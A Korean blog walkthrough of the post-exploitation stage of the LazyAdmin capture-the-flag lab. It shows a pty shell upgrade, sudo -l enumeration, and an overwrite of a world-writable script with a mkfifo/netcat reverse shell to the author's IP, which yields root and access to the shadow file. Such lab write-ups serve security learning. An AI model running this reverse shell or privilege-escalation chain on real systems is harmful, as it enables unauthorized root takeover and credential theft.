본문 바로가기

보안지식/pentest

pentest 실습 (LazyAdmin) - Post Exploit

저번 포스팅에 이어서 해보겠습니다.

 

4. Post-Exploit

 

이제 관리자 권한을 탈취해 보겠습니다.

 

일단 python3 -c "import pty;pty.spawn('/bin/bash')" 실행해봅니다.

 

좋아요

 

www-data의 사용자로 돌아왔습니다

 

이제 권한 상승 하는 방법은 다양한데 이번에는 sudo을 이용하겠습니다.

 

sudo는 관리자 권한으로 실행한다는 명령어인 건 다들 아실 거예요.

그럼 sudo -l을 이용해서 sudo로 어느 명령어 사용 가능한지 알아보겠습니다.

 

 

오호..

 

NOPASSWD 패스워드 안 물어봐도 /usr/bin/perl 명령어랑 /home/itguy/backup.pl 을 실행 해주게 한다네요.

 

한번 backup.pl 파일을 봐볼게요

 

 

 

/etc/copy.sh을 실행하게 하는 코드네요?

 

그럼 또 copy.sh을 봐보겠습니다.

 

 

오..

 

딱 보니 rm 있는 거 보니 삭제 기능, cat 기능,  nc [IP] 포트번호 있네요.

 

이 이야기는 리버스 쉘을 연결할 때 쓰이는 명령어입니다. 저희가 방금 nc 로 했던 형식이랑 비슷하죠.

 

아마 예전에 이미 해킹한 사람이 쓴 파일인 것 같다네요!

저희는 이걸 이용하겠습니다.

 

 

 

간단하게 정리하면 sudo 명령어로 즉 관리자 권한으로 /etc/copy.sh을 실행 가능하잖아요?

그럼 copy.sh 안에 있는 nc 명령어가 원격 제어 능력인데 그걸 관리자 권한으로 실행하게 하는 겁니다.

그럼 원격 제어 하는 IP도 관지자 권한으로 받아지겠죠?

 

그걸 이용하면 저희는 관리자 권한을 가져올 수 있겠네요! 

 

해보겠습니다.

 

 

일단 copy.sh의 권한을 봐볼게요. 수정이 가능한지

 

ls -al /etc/copy.sh

 

 

권한 보니..

 

다른 사용자들이 작성 및 실행 가능하네요!

 

그럼 약간 수정을 하겠습니다. nc 에 제 IP랑 새로운 포트 번호를 넣을게요

 

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.18.18.145 4444 >/tmp/f" > /etc/copy.sh

 

이러면 copy.sh에 수정이 될 겁니다.

 

 

 

중간에 <t /tmp/f... 이건 무시하셔도 돼요 복붙 하면 나는 오류인데 아무런 상관없습니다.

 

어쨌든 잘 삽입된 것을 알 수 있었으니 이제 제 컴퓨터 4444을 열고 있으면 되겠죠?

 

새로운 터미널에 nc -nlvp 4444 입력해 기다리겠습니다.

 

 

최소화 하세요! 닫으시면 안되요

 

저희가 방금 본  sudo 명령어 중 /usr/bin/perl와 /home/itguy/backup.pl이 실행 가능했잖아요?

 

쉘에 sudo /usr/bin/perl /home/itguy/backup.pl 실행을 하면 

 

 

비밀번호 없이 관리자 권한으로 이 쉘이 실행이 되면서

 

쨘!

 

원격 제어자에게 루트 권한을 주는 것을 알 수 있습니다.

 

확인 차 id을 해보겠습니다.

 

관리자이다!

 

이렇게 관리자 권한을 탈취한 것으로 이 시스템을 장악했습니다.

 

shadow 파일도 볼 수 있네요.

 

이렇게 Post-exploit을 성공적으로 마치겠습니다.

참고로 답은 /root/root.txt 그리고 /home/itguy/user.txt 에 있습니다.

 

 

________________________________________________________________________________________________

 

의문점이 있으실 거예요 python3 -c "import pty;pty.spawn('/bin/bash')" 처음에 이 파이썬은 뭔가요?

 

일단 보시면 python3 버전으로 -c 옵션으로 명령어를 직접 전달하며

 

직접 전달하는 명령어는 import pty;pty.spawn('/bin/bash') 입니다.

import pty는 말 그대로 코드에 pty을 포함하고

 

pty 함수중 하나인 spawn은 터미널에서 수행하는 동작과 비슷하게 작동합니다.

그래서 /bin/bash 쉘을 실행시키게 해 주고 터미널에 새로운 Bash 쉘로 스폰(spawn) 합니다.

 

그래서 www-data@THM-CHAL 로 스폰된 겁니다.

 

그럼 저희는 www-data 소속 THM-CHAL 이라는 사용자로 터미널을 실행하는 거랑 같은 거죠!

 

 

... 저도 이해하는데 조금 오래 걸렸네요..!

 

그래도 막상 이해하니 기분은 좋네요.

이렇게 해서 LazyAdmin을 풀어 봤습니다.

 

다음에는 새로운 문제을 들고 오도록 하겠습니다. 감사합니다!

 

 

 

참고 영상

 

https://www.youtube.com/watch?v=A0F4RC7ZSDI&list=PLilfVAwqeInX7g8mVy6WnfE2W84-GnNG7&index=5 

 

https://www.youtube.com/watch?v=Tf8mMs0lvPA 

 

 

'보안지식 > pentest' 카테고리의 다른 글

pentest 실습 (Basic Pentesting)  (0) 2023.06.23
pentest 실습 (Rootme)  (0) 2023.06.22
pentest 실습 (LazyAdmin) - Exploit 까지  (0) 2023.06.20
pentest - 서비스 분석하기  (0) 2023.06.19
pentest - 정보 수집하기(nmap 사용)  (1) 2023.06.18